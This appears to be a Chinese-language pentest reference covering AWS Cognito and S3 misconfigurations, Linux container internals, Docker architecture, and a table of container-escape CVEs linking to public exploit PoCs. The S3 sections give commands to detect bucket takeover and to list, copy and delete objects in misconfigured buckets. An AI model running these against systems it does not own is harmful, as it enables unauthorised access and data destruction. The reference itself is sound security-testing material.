### 身份池 ID 泄漏

身份池 ID 允许您获取可能具有额外 AWS 权限的临时 AWS 凭证。因此，可能会获得对敏感 AWS 服务的未认证访问。

身份池 ID 可以存储在客户端，例如在 JavaScript 中，或者在响应中返回。

参考资料：

* [Appsecco 博客：利用 Amazon Cognito 中的弱配置](https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963)
* [技术分析：攻击 AWS Cognito 错误配置](https://notsosecure.com/hacking-aws-cognito-misconfigurations)

### 错误配置的用户池访问

如果应用程序允许写入内部使用的 AWS 用户池的用户属性，它可以被用来滥用应用程序和池之间的信任关系。换句话说，可以更改属性并颁发应用程序将使用的 JWT 令牌。例如，如果应用程序使用标准化的电子邮件（小写），您可以将电子邮件地址中的一个字母更改为等效的大写字母并接管账户。

参考资料：

* [技术分析：Flickr 账户接管](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/)

## 参考资料

* [白皮书：AWS Cognito 安全的互联网规模分析](https://andresriancho.com/wp-content/uploads/2019/06/whitepaper-internet-scale-analysis-of-aws-cognito-security.pdf)


# Amazon S3

## Amazon S3 概述

Amazon Simple Storage Service (Amazon S3) 是一种对象存储，具有简单的 Web 服务接口，用于存储和检索任何数量的数据。它为任何开发人员提供访问 Amazon 用于运行其自身全球网站网络的相同高度可扩展、可靠、快速、廉价的数据存储基础设施。

{% embed url="<https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html>" %}

### S3 存储桶

要在 Amazon S3 中存储对象，您需要创建一个存储桶，然后将对象上传到该存储桶。

{% hint style="info" %}
存储桶是对象的容器。对象是文件以及描述该文件的任何元数据。
{% endhint %}

当对象在存储桶中时，您可以打开、下载和移动它。当您不再需要对象或存储桶时，可以清理您的资源。

Amazon S3 存储桶名称是全局唯一的，命名空间由所有 AWS 账户共享。这意味着存储桶创建后，在该存储桶被删除之前，其他 AWS 账户在任何 AWS 区域都不能使用该存储桶的名称。

### 寻址模型

有两种寻址模型可以访问存储桶：

* `虚拟托管样式`：

  ```http
  https://<bucket-name>.s3.<region>.amazonaws.com/<key-name>
  ```
* `路径样式`：

  ```http
  https://s3.<region>.amazonaws.com/<bucket-name>/<key-name>
  ```

### 访问控制列表

Amazon S3 访问控制列表 (ACL) 使您能够管理对存储桶和对象的访问。每个存储桶和对象都有一个 ACL 作为子资源附加到其上。它定义了哪些 AWS 账户或组被授予访问权限以及访问类型。当收到对资源的请求时，Amazon S3 会检查相应的 ACL 以验证请求者是否具有必要的访问权限。

{% embed url="<https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html>" %}

## 安全问题

### 存储桶接管

如果应用程序使用已由开发人员删除的域链接 S3 存储桶，并且来自 [Amazon Route 53](https://aws.amazon.com/route53/) 的 CNAME 记录仍在等待删除，您可以使用其他 AWS 账户认领这个未声明的 S3 存储桶名称。

要验证存储桶接管是否可能，请运行：

```bash
$ curl -s https://<url-to-bucket> | grep -E -q '<Code>NoSuchBucket</Code>|<li>Code: NoSuchBucket</li>' && echo "Subdomain takeover may be possible" || echo "Subdomain takeover is not possible"
```

参考资料：

* [实践 AWS S3 存储桶接管](https://blog.securelayer7.net/hands-on-aws-s3-bucket-account-takeover-vulnerability/)
* [子域接管 — AWS S3 存储桶](https://towardsaws.com/subdomain-takeover-aws-s3-bucket-4699815d1b62)
* [技术分析：https://github.com/reddit/rpan-studio/blob/e1782332c75ecb2f774343258ff509788feab7ce/CI/full-build-macos.sh 中展示的 S3 存储桶接管](https://hackerone.com/reports/1285598)

### 不正确的 ACL 权限

如果 ACL 权限配置错误，您可以获得对存储桶的未认证访问。此外，此类权限可能允许您读取和修改对象。

```bash
# 配置 AWS CLI
$ aws configure
# 列出存储桶内容
$ aws s3 ls s3://<bucket-name>/
# 从存储桶复制 file.txt
$ aws s3 cp s3://<bucket-name>/file.txt
# 从存储桶删除 file.txt
$ aws s3 rm s3://<bucket-name>/file.txt
```

您可以使用以下工具来自动化该过程：

* [S3Scanner](https://github.com/sa7mon/S3Scanner) - 扫描开放的 S3 存储桶并转储内容。
* [s3inspector](https://github.com/clario-tech/s3-inspector) - 检查 AWS S3 存储桶权限的工具。
* [lazys3](https://github.com/nahamsec/lazys3) - 使用不同排列组合暴力破解 AWS s3 存储桶的 Ruby 脚本。

参考资料：

* [实践 AWS S3 存储桶漏洞](https://blog.securelayer7.net/hands-on-aws-s3-bucket-vulnerabilities/)

## 参考资料

* [S3 存储桶服务 AWS 渗透测试基础](https://blog.securelayer7.net/aws-penetration-testing-for-s3-bucket-service-basics-security/)


# 概述


# 容器基础

\*\*容器（Container）\*\*是一个具有特殊属性的任务或任务集合，用于隔离任务并限制对系统资源的访问。

![container](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-f5cf6b923840b5c22b0447edaaef979c9ec24b9a%2Fcontainer.png?alt=media)

## 进程描述符和任务结构

内核将进程列表存储在一个称为\*\*任务列表（task list）\*\*的循环双向链表中。

![task-list](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-37aaaba1ca5e36d577b221fc197bf5ff11967393%2Ftask-list.png?alt=media)

任务列表中的每个元素都是`struct task_struct`类型的进程描述符。进程描述符包含特定进程的所有信息。

![task-struct](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-bb4cf95260cb5511d67d1a41d23867162512b331%2Ftask-struct.png?alt=media)

### /proc

![proc](https://drawings.jvns.ca/drawings/proc.jpeg)

`/proc`是一个特殊的文件系统挂载（procfs），通过读取"文件"条目直接从内核访问系统和进程信息。

![task-struct-example](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-9e762a843d0052b637ab7cc018bd7e8a30033304%2Ftask-struct-example.png?alt=media)

## 属性

### 凭证（Credentials）

[凭证（Credentials）](https://man7.org/linux/man-pages/man7/credentials.7.html)是进程标识符。凭证描述任务的用户身份，该身份确定其对共享资源（如文件、信号量和共享内存）的权限。

任务的所有凭证都保存在一个名为`struct cred`的引用计数结构中。每个任务通过其`task_struct`中的`cred`指针指向其凭证。

传统UNIX权限实现区分两类：

* 用户ID为0（root）的特权进程
* 所有其他进程

### 权能（Capabilities）

从内核2.2开始，Linux将与超级用户关联的权限分解为称为[权能（Capabilities）](https://man7.org/linux/man-pages/man7/capabilities.7.html)的不同单元。

Linux权能的引入是为了将root的角色分解为离散的子部分，这些子部分可以授予非root进程，使其能够执行特权操作。

![capabilities](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-21de1e8bf89e1ee49a2641b9eeffcf1e3090511c%2Fcapabilities.png?alt=media)

进程具有权能"允许集合"的概念，该集合充当其可能拥有的权能的限制性超集。重要的是，默认情况下，这个边界集合会传递给任何子进程，因此容器的"init"进程为容器内的所有进程创建了一个限制性权能集合（因为所有进程都从PID 1派生）。

容器是应该以受限权能集合运行的任务。

![restricted-capabilities](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-119dfbc924ee75b1ccfa8958d694aa26c208d096%2Frestricted-capabilities.png?alt=media)

要查看权能列表，可以使用`capsh`：

```bash
$ capsh --print
```

### 文件系统

容器的文件系统根目录通常通过[pivot\_root](https://man7.org/linux/man-pages/man2/pivot_root.2.html)系统调用与其他容器和主机的根文件系统隔离。

容器的根挂载通常植根于容器专用文件系统，如AUFS或OverlayFS。在OverlayFS的情况下，容器的`/`根目录实际上位于`/var/lib/docker/overlay2`中。

![overlayfs-root-path](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-1e7da2bd450a269fde4e8bc5ad72cff154678c21%2Foverlayfs-root-path.png?alt=media)

### 命名空间（Namespaces）

[命名空间（Namespace）](https://man7.org/linux/man-pages/man7/namespaces.7.html)将全局系统资源包装在抽象中，使得命名空间内的进程看起来拥有自己的全局资源隔离实例。对全局资源的更改对命名空间的其他成员进程可见，但对其他进程不可见。

Linux上有8种类型的命名空间。

| 命名空间    | 隔离内容                                                                                                              |
| ------- | ----------------------------------------------------------------------------------------------------------------- |
| Cgroup  | Cgroup根目录                                                                                                         |
| IPC     | 提供SystemV IPC和POSIX消息队列的命名空间版本                                                                                    |
| Network | 提供命名空间和隔离的网络栈。大多数容器用例涉及网络服务，因此这将成为容器的核心功能                                                                         |
| Mount   | 提供挂载点的命名空间视图。结合[pivot\_root()](https://man7.org/linux/man-pages/man2/pivot_root.2.html)系统调用，这将用于隔离容器的文件系统与主机的文件系统 |
| PID     | 提供进程ID（PID）的命名空间树。这允许每个容器拥有完整的隔离进程树，其中它有一个'init'进程，在该命名空间内作为PID 1运行。在容器中运行的进程在主机上的PID与在容器PID命名空间内的PID不同           |
| Time    | 启动和单调时钟                                                                                                           |
| User    | 提供用户ID（UID）和组ID（GID）的命名空间版本。这是现代容器系统最重要的功能之一，因为它用于提供"非特权容器"。这些容器中，容器内的root（UID 0）在容器外部不是root，大大提高了容器的安全性          |
| UTS     | 提供系统标识符的命名空间版本                                                                                                    |

![namespace-user-example](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-4c87e54a3316877283fc3c087a32369f564e1c51%2Fnamespace-user-example.png?alt=media)

在大多数情况下，使用[clone(2)](https://man7.org/linux/man-pages/man2/clone.2.html)和[unshare(2)](https://man7.org/linux/man-pages/man2/unshare.2.html)创建新命名空间需要`CAP_SYS_ADMIN`权能。用户命名空间是例外：从Linux 3.8开始，创建用户命名空间不需要特权。

每个进程都有一个`/proc/[pid]/ns/`子目录，为每个命名空间包含一个条目。

参考资料：

* [Quarkslab博客：深入Linux命名空间 - 第1部分](https://blog.quarkslab.com/digging-into-linux-namespaces-part-1.html)
* [Quarkslab博客：深入Linux命名空间 - 第2部分](https://blog.quarkslab.com/digging-into-linux-namespaces-part-2.html)

### Cgroups

[Cgroups](https://man7.org/linux/man-pages/man7/cgroups.7.html)是Linux控制组。

控制组（通常称为cgroups）是一个Linux内核功能，允许将进程组织到层次组中，然后可以限制和监控这些组对各种类型资源的使用。内核的cgroup接口通过称为**cgroupfs**的伪文件系统提供，其中层次结构通过每个挂载中的目录树表达。

![cgroupfs](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-a6a6bb622163854552605a98b8b947286b3399b4%2Fcgroupfs.png?alt=media)

分组在核心cgroup内核代码中实现，而资源跟踪和限制在一组按资源类型的子系统（内存、CPU等）中实现。

cgroup文件系统最初包含一个根cgroup `/`，所有进程都属于它。通过在cgroup文件系统中创建目录来创建新的cgroup。

```bash
$ mkdir /sys/fs/cgroup/cpu/cg1
```

这创建了一个新的空cgroup。可以通过将其PID写入cgroup的`cgroup.procs`文件将进程移动到此cgroup：

```bash
$ echo $$ > /sys/fs/cgroup/cpu/cg1/cgroup.procs
```

### Linux安全模块

[AppArmor](https://apparmor.net/)和[SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux)是Linux安全模块，提供强制访问控制（MAC），其中程序的访问规则由配置文件描述。

Docker和LXC在强制模式下启用默认的LSM配置文件，主要用于限制容器对敏感的`/proc`和`/sys`条目的访问。

该配置文件还拒绝mount系统调用。

### seccomp

从内核3.17开始，Linux有一种通过[seccomp](https://man7.org/linux/man-pages/man2/seccomp.2.html)子系统过滤系统调用访问的机制。

![seccomp](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-45395bd53959cbafda79981f6b87f9a599095e23%2Fseccomp.png?alt=media)

Seccomp策略有两个版本：

* **严格模式（Strict mode）** - 一小部分允许的系统调用，无法自定义
* **过滤模式（Filter mode）** - 系统调用过滤器编写为伯克利数据包过滤器（BPF）程序；这允许对系统调用使用设置更细粒度的策略（有一些注意事项，seccomp-bpf过滤器可以检查系统调用参数，但无法解引用指针）

## 容器安全模型

![container-security-model](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-dd92d4ec92d30334afd812e058e5f6cb8871729a%2Fcontainer-security-model.png?alt=media)

## 参考资料

* [容器逃逸汇编](https://capsule8.com/assets/ug/us-19-Edwards-Compendium-Of-Container-Escapes.pdf)
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
* [理解和强化Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)


# Docker引擎

Docker Engine是容器的核心，是容器运行的基础。Docker具有模块化设计，这意味着您可以交换/自定义其某些组件。

![docker-engine-arch](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-e3a74418ac900169f422293a8551fa9032af591d%2Fdocker-engine-arch.png?alt=media)

Docker架构有五个组件：

* docker CLI
* dockerd
* containerd
* containerd-shim
* runc

## runc

[runc](https://github.com/opencontainers/runc)是`libcontainer`的轻量级CLI包装器，用于生成和运行容器。

您可以仅使用CLI运行容器而无需Docker。为此，您必须拥有符合OCI标准的捆绑包。容器的捆绑包是一个包含名为`config.json`的规范文件和根文件系统的目录。`config.json`用于在特定状态下创建容器。

`config.json`示例

```json
{  
  "ociVersion": "0.6.0-dev",  
  "platform": {     
    "os": "linux",     
    "arch": "amd64"   
  },   
  "process": {   
    "terminal": true,   
    "args": ["sh"],   
    "env": ["PATH=/usr/local/sbin:/usr/local/bin:/bin", ...]
  ...
}
```

给定捆绑包，您可以使用`runc`简单运行容器

```bash
# 创建一个空文件夹
mkdir ~/mycontainer
cd ~/mycontainer
# 创建rootfs，一种方法是复用docker导出
mkdir rootfs
docker export $(docker create busybox) | tar -C rootfs -xvf -
# 为捆绑包创建名为"config.json"的新规范文件
runc spec
# 运行容器
runc run mycontainerid
```

Docker是`runc`的更高级抽象，`runc`是`libcontainer`的CLI。此外，您还可以将docker设置为您自己的运行时`dockerd`守护进程[--add-runtime](https://docs.docker.com/engine/reference/commandline/dockerd/)。

## containerd

`containerd`是Docker模块化架构中的一层。当您向`dockerd`发出请求时，`containerd`管理与镜像分发相关的进程，例如将镜像推送/拉取到/从注册表。使用镜像，`containerd`为容器生成OCI捆绑包。

`containerd`管理容器生命周期：启动、停止、暂停或删除它。它还管理镜像分发：将镜像推送/拉取到/从注册表。

> 那么使用containerd实际上能得到什么呢？ 您获得推送和拉取功能以及镜像管理。您获得容器生命周期API来创建、执行和管理容器及其任务。一个专门用于快照管理的完整API。基本上，您需要构建容器平台的一切，而无需处理底层操作系统细节。 更多信息见[Docker containerd integration](https://www.docker.com/blog/docker-containerd-integration/)

## containerd-shim

`containerd-shim`允许您拥有无守护进程的容器。这是如何实现的：

* `containerd`为每个新容器分叉一个`runc`实例
* `runc`进程在容器创建后退出
* 一旦容器由`runc`创建，`containerd-shim`就成为容器进程的新父进程

您可以通过创建docker容器并检查进程来看到这一点。

```bash
$ docker run -d alpine sleep 30
$ ps fxa | grep dockerd -A 3  
2239 ?        Ssl    0:28 /usr/bin/dockerd -H fd://
2397 ?        Ssl    0:19  \_ docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock ...
15476 ?        Sl     0:00      \_ docker-containerd-shim 3de8... /var/run/docker/libcontainerd/3da7.. docker-runc  
15494 ?        Ss     0:00          \_ sleep 30
```

那里没有使用`runc`，因为它被`containerd-shim`替代了。

`containerd-shim`负责`STDIN`/`STDOUT`以及向Docker守护进程报告退出状态。

## dockerd

`dockerd`是一个守护进程和服务器，处理Docker API请求，然后利用`containerd`功能管理容器的生命周期。

## docker CLI

Docker CLI是与Docker服务器`dockerd`通信的方式之一。您可以使用它运行docker命令，如`docker run`或`docker build`。

## 运行容器

![running-container](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-1f4e057340f38c2051b316b13a80b757c352bc6e%2Frunning-container.png?alt=media)

1. 用户使用docker CLI执行命令：

   ```bash
   docker container run -it --name <NAME> <IMAGE>:<TAG>
   ```
2. Docker客户端向守护进程的API发送POST请求
3. Docker守护进程接收指令并调用`containerd`启动新容器
4. `containerd`从Docker镜像创建OCI捆绑包
5. `containerd`告诉`runc`使用OCI捆绑包创建容器
6. `runc`与操作系统内核接口创建容器
7. 容器进程作为子进程启动
8. `runc`在启动容器后退出
9. `containerd-shim`接管子进程并成为其父进程
10. 容器正在运行！

## 参考资料

* [Docker引擎架构底层原理](https://medium.com/@yeldos/docker-engine-architecture-under-the-hood-741512b340d5)


# 逃逸技术


# CVE列表

## Containerd

| CVE                                                                                                                                                             | 标题                                                        | 受影响版本                                            | 参考资料                                                                                                                                                                                                                                                |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- | ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [CVE-2022-23648](https://github.com/containerd/containerd/security/advisories/GHSA-crp2-qrr5-8pq7)                                                              | 通过containerd的CRI实现启动的容器，如果使用特殊构造的镜像配置，可以访问主机上任意文件和目录的只读副本 | <p><= 1.4.12</p><p>1.5.0 - 1.5.9</p><p>1.6.0</p> | <p>> <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2244">技术报告：containerd - 镜像卷的不安全处理</a></p><p>> <a href="https://github.com/raesene/CVE-2022-23648-POC">CVE-2022-23648的PoC</a></p>                                            |
| [CVE-2021-41103](https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq)                                                              | 容器根目录和插件目录的权限限制不足                                         | <p><1.4.11</p><p><1.5.7</p>                      | [Github公告：GHSA-c2h3-6mxw-7mvq](https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq)                                                                                                                                    |
| [CVE-2021-32760](https://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w)                                                              | 归档包允许对解压目标目录之外的文件进行chmod操作                                | <p><=1.4.7</p><p><=1.5.3</p>                     | [Github公告：GHSA-c72p-9xmj-rx3w](https://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w)                                                                                                                                    |
| [CVE-2021-21334](https://github.com/containerd/containerd/security/advisories/GHSA-6g2q-w5j3-fwh4)                                                              | containerd CRI插件：环境变量可能在容器间泄露                             | <p><=1.3.9</p><p><= 1.4.3</p>                    | [Github公告：GHSA-6g2q-w5j3-fwh4](https://github.com/containerd/containerd/security/advisories/GHSA-6g2q-w5j3-fwh4)                                                                                                                                    |
| [CVE-2020-15257](https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/) | containerd-shim API暴露给主机网络容器                              | <p><=1.3.7</p><p>1.4.0</p><p>1.4.1</p>           | [技术报告：containerd – containerd-shim API暴露给主机网络容器 (CVE-2020-15257)](https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/)                                    |
| [CVE-2020-15157](https://github.com/containerd/containerd/security/advisories/GHSA-742w-89gc-8m9c)                                                              | containerd v1.2.x可能在镜像拉取期间被强迫泄露凭证                         | < 1.3.0                                          | <p>> <a href="https://github.com/containerd/containerd/security/advisories/GHSA-742w-89gc-8m9c">Github公告：GHSA-742w-89gc-8m9c</a></p><p>> <a href="https://darkbit.io/blog/cve-2020-15157-containerdrip">CVE-2020-15157 "ContainerDrip" 技术分析</a></p> |

## CRI-O

| CVE                                                                                     | 标题                                                | 受影响版本     | 参考资料                                                                                                                                                                     |
| --------------------------------------------------------------------------------------- | ------------------------------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| [CVE-2022-0811](https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7) | 在Kubernetes集群上部署Pod的权限导致滥用`kernel.core_pattern`参数 | `>1.19.0` | [cr8escape：CrowdStrike发现的CRI-O容器引擎新漏洞 (CVE-2022-0811)](https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/) |

## Linux内核

| CVE                                                                             | 标题                                                                              | 所需权能                                                                                                          | 参考资料                                                                                                                                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                      |
| ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [CVE-2022-47939](https://nvd.nist.gov/vuln/detail/CVE-2022-47939)               | fs/ksmbd/smb2pdu.c中的释放后使用漏洞                                                     | `?`                                                                                                           | > [Linux内核ksmbd释放后使用远程代码执行漏洞](https://www.zerodayinitiative.com/advisories/ZDI-22-1690/)                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-34918](https://nvd.nist.gov/vuln/detail/CVE-2022-34918)               | nft\_set\_elem\_init中的类型混淆错误导致缓冲区溢出                                             | CAP\_NET\_ADMIN                                                                                               | <p>> <a href="https://randorisec.fr/crack-linux-firewall/">CVE-2022-34918 Linux防火墙中的裂缝</a></p><p>> <a href="https://github.com/randorisec/CVE-2022-34918-LPE-PoC">Github：randorisec/CVE-2022-34918-LPE-PoC</a></p>                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-32250](https://nvd.nist.gov/vuln/detail/CVE-2022-32250)               | Netfilter子系统中的释放后使用漏洞                                                           | `?`                                                                                                           | <p>> <a href="https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/">使用mqueue的Linux内核漏洞利用 (CVE-2022-32250)</a></p><p>> <a href="https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/">NETLINK定居者：利用nf\_tables中的有限UAF (CVE-2022-32250)</a></p>                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-29582](https://nvd.nist.gov/vuln/detail/CVE-2022-29582)               | fs/io\_uring.c中由于io\_uring超时的竞争条件导致的释放后使用漏洞                                     | -                                                                                                             | <p>> <a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/">CVE-2022-29582：io\_uring漏洞</a></p><p>> <a href="https://github.com/Ruia-ruia/CVE-2022-29582-Exploit">Github：Ruia-ruia/CVE-2022-29582-Exploit</a></p>                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-27666](https://nvd.nist.gov/vuln/detail/CVE-2022-27666)               | net/ipv4/esp4.c和net/ipv6/esp6.c中IPsec ESP转换代码中的堆缓冲区溢出漏洞，允许具有普通用户权限的本地攻击者覆盖内核堆对象 | `?`                                                                                                           | <p>> <a href="https://etenal.me/archives/1825">CVE-2022-27666：利用Linux内核中的esp6模块</a></p><p>> <a href="https://github.com/plummm/CVE-2022-27666">Github：plummm/CVE-2022-27666</a></p>                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-2602](https://access.redhat.com/security/cve/cve-2022-2602)           | 处理io\_uring请求时的释放后使用漏洞                                                          |                                                                                                               | <p>> <a href="https://exploiter.dev/blog/2022/CVE-2022-2602.html">DirtyCred重制版：如何将UAF转换为权限提升</a></p><p>> <a href="https://github.com/LukeGix/CVE-2022-2602">Github：LukeGix/CVE-2022-2602</a></p>                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-2588](https://access.redhat.com/security/cve/cve-2022-2588)           | Linux内核中net/sched/cls\_route.c过滤器实现中route4\_change的释放后使用漏洞                      | CAP\_NET\_ADMIN                                                                                               | <p>> <a href="https://www.crowdstrike.com/blog/what-is-the-dirtycred-exploit-technique/">DirtyCred：打开当前和未来容器逃逸的潘多拉盒子</a></p><p>> <a href="https://github.com/Markakd/CVE-2022-2588">Markakd/CVE-2022-2588</a></p>                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-25636](https://nvd.nist.gov/vuln/detail/CVE-2022-25636)               | 越界内存访问导致权限提升                                                                    | CAP\_NET\_ADMIN                                                                                               | [CVE-2022-25636的发现和利用](https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/)                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-1786](https://nvd.nist.gov/vuln/detail/CVE-2022-1786)                 | io\_uring子系统中用户设置具有多个任务在此环上完成提交的IORING\_SETUP\_IOPOLL环的方式中的释放后使用缺陷              | `?`                                                                                                           | [CVE-2022-1786 黎明之旅](https://blog.kylebot.net/2022/10/16/CVE-2022-1786/)                                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-1015](https://nvd.nist.gov/vuln/detail/CVE-2022-1015)                 | netfilter子系统中linux/net/netfilter/nf\_tables\_api.c的缺陷，允许本地用户导致越界写入问题            | CAP\_NET\_ADMIN                                                                                               | <p>> <a href="https://ysanatomic.github.io/cve-2022-1015/">CVE-2022-1015：Netfilter中的验证缺陷导致本地权限提升</a></p><p>> <a href="https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/">时局已变：nf\_tables中两个新Linux漏洞的分析</a></p>                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-0995](https://nvd.nist.gov/vuln/detail/CVE-2022-0995)                 | watch\_queue事件通知子系统中的越界内存写入缺陷，可以覆盖内核状态的部分内容                                     | `?`                                                                                                           | [Github：Bonfee/CVE-2022-0995](https://github.com/Bonfee/CVE-2022-0995)                                                                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-0847](https://nvd.nist.gov/vuln/detail/cve-2022-0847)                 | 允许覆盖任意只读文件中的数据，并通过将代码注入root进程导致权限提升的漏洞                                          | CAP\_DAC\_READ\_SEARCH                                                                                        | <p>> <a href="https://dirtypipe.cm4all.com/">Dirty Pipe漏洞</a></p><p>> <a href="https://jfrog.com/blog/dirtypipe-cve-2022-0847-the-new-dirtycow/">DirtyPipe (CVE-2022-0847) – 新的DirtyCoW？</a></p><p>> <a href="https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape">Github：greenhandatsjtu/CVE-2022-0847-Container-Escape</a></p><p>> <a href="https://github.com/Al1ex/CVE-2022-0847">Github：Al1ex/CVE-2022-0847</a></p> |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-0492](https://nvd.nist.gov/vuln/detail/CVE-2022-0492)                 | 缺少验证允许在没有管理权限的情况下为进程设置`release_agent`文件                                         | <p>CAP\_SYS\_ADMIN</p><p>禁用AppArmor/SELinux</p><p>禁用Seccomp</p>                                               | [影响Cgroups的新Linux漏洞CVE-2022-0492：容器能逃逸吗？](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)                                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2022-0185](https://access.redhat.com/security/cve/cve-2022-0185)           | Linux内核文件系统上下文功能中legacy\_parse\_param函数的基于堆的缓冲区溢出缺陷                             | <p>CAP\_SYS\_ADMIN</p><p>或<a href="https://man7.org/linux/man-pages/man1/unshare.1.html">unshare(CLONE\_NEWNS | CLONE\_NEWUSER)</a></p>                                                                                                                                                                                                                                                                                                                                                                                                                | <p>> <a href="https://www.willsroot.io/2022/01/cve-2022-0185.html">CVE-2022-0185 - 在攻陷Ubuntu和逃逸Google的KCTF容器后获得31337美元奖金</a></p><p>> <a href="https://blog.aquasec.com/cve-2022-0185-linux-kernel-container-escape-in-kubernetes">Linux内核中的CVE-2022-0185可能允许Kubernetes中的容器逃逸</a></p><p>> <a href="https://github.com/Crusaders-of-Rust/CVE-2022-0185">Github：Crusaders-of-Rust/CVE-2022-0185</a></p> |
| [CVE-2021-22555](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555) | Linux Netfilter中的堆越界写入                                                          | CAP\_NET\_ADMIN                                                                                               | [CVE-2021-22555：将\x00\x00变成10000美元](https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html)                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                      |
